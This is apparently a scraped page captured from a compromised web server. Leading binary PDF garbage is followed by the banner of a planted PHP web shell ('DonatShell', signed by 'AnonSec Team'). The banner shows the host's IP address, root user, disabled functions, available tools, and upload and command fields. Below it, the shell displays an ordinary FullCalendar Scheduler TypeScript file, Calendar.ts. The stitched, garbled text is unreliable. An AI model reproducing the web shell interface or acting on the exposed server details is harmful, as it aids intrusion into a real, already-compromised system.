%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ppaobm/vendor/bower-asset/fullcalendar-scheduler/src/resource-common/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/ppaobm/vendor/bower-asset/fullcalendar-scheduler/src/resource-common/Calendar.ts
import { DateSpan, Calendar } from '@fullcalendar/core'
import ResourceApi from './api/ResourceApi'
import { ResourceInput, parseResource, ResourceHash, Resource } from './structs/resource'
import { ResourceSourceInput } from './structs/resource-source'

declare module '@fullcalendar/core' {

  interface DatePointApi {
    resource?: ResourceApi
  }

  interface DateSpanApi {
    resource?: ResourceApi
  }

  interface Calendar {
    addResource(input: ResourceInput): ResourceApi
    getResourceById(id: string): ResourceApi | null
    getResources(): ResourceApi[]
    getTopLevelResources(): ResourceApi[]
    rerenderResources(): void
    refetchResources(): void
  }

  interface OptionsInput {
    schedulerLicenseKey?: string
    resources?: ResourceSourceInput

    // TODO: make these better
    resourceLabelText?: string
    resourceOrder?: any
    filterResourcesWithEvents?: any
    resourceText?: any
    resourceGroupField?: any
    resourceGroupText?: any
    resourceAreaWidth?: any
    resourceColumns?: any
    resourcesInitiallyExpanded?: any
    slotWidth?: any
    datesAboveResources?: any
    // callbacks...
    resourceRender?: any
  }

}

Calendar.prototype.addResource = function(this: Calendar, input: ResourceInput | ResourceApi, scrollTo = true) {
  let resourceHash: ResourceHash
  let resource: Resource

  if (input instanceof ResourceApi) {
    resource = input._resource
    resourceHash = { [resource.id]: resource }
  } else {
    resourceHash = {}
    resource = parseResource(input, '', resourceHash, this)
  }

  // HACK
  if (scrollTo) {
    this.component.view.addScroll({ forcedRowId: resource.id })
  }

  this.dispatch({
    type: 'ADD_RESOURCE',
    resourceHash
  })

  return new ResourceApi(this, resource)
}

Calendar.prototype.getResourceById = function(this: Calendar, id: string) {
  id = String(id)

  if (this.state.resourceStore) { // guard against calendar with no resource functionality
    let rawResource = this.state.resourceStore[id]

    if (rawResource) {
      return new ResourceApi(this, rawResource)
    }
  }

  return null
}

Calendar.prototype.getResources = function(this: Calendar): ResourceApi[] {
  let { resourceStore } = this.state
  let resourceApis: ResourceApi[] = []

  if (resourceStore) { // guard against calendar with no resource functionality
    for (let resourceId in resourceStore) {
      resourceApis.push(
        new ResourceApi(this, resourceStore[resourceId])
      )
    }
  }

  return resourceApis
}

Calendar.prototype.getTopLevelResources = function(this: Calendar): ResourceApi[] {
  let { resourceStore } = this.state
  let resourceApis: ResourceApi[] = []

  if (resourceStore) { // guard against calendar with no resource functionality
    for (let resourceId in resourceStore) {
      if (!resourceStore[resourceId].parentId) {
        resourceApis.push(
          new ResourceApi(this, resourceStore[resourceId])
        )
      }
    }
  }

  return resourceApis
}

Calendar.prototype.rerenderResources = function(this: Calendar) {
  this.dispatch({
    type: 'RESET_RESOURCES'
  })
}

Calendar.prototype.refetchResources = function(this: Calendar) {
  this.dispatch({
    type: 'REFETCH_RESOURCES'
  })
}

export function transformDatePoint(dateSpan: DateSpan, calendar: Calendar) {
  return dateSpan.resourceId ?
    { resource: calendar.getResourceById(dateSpan.resourceId) } :
    {}
}

export function transformDateSpan(dateSpan: DateSpan, calendar: Calendar) {
  return dateSpan.resourceId ?
    { resource: calendar.getResourceById(dateSpan.resourceId) } :
    {}
}

Anon7 - 2022
AnonSec Team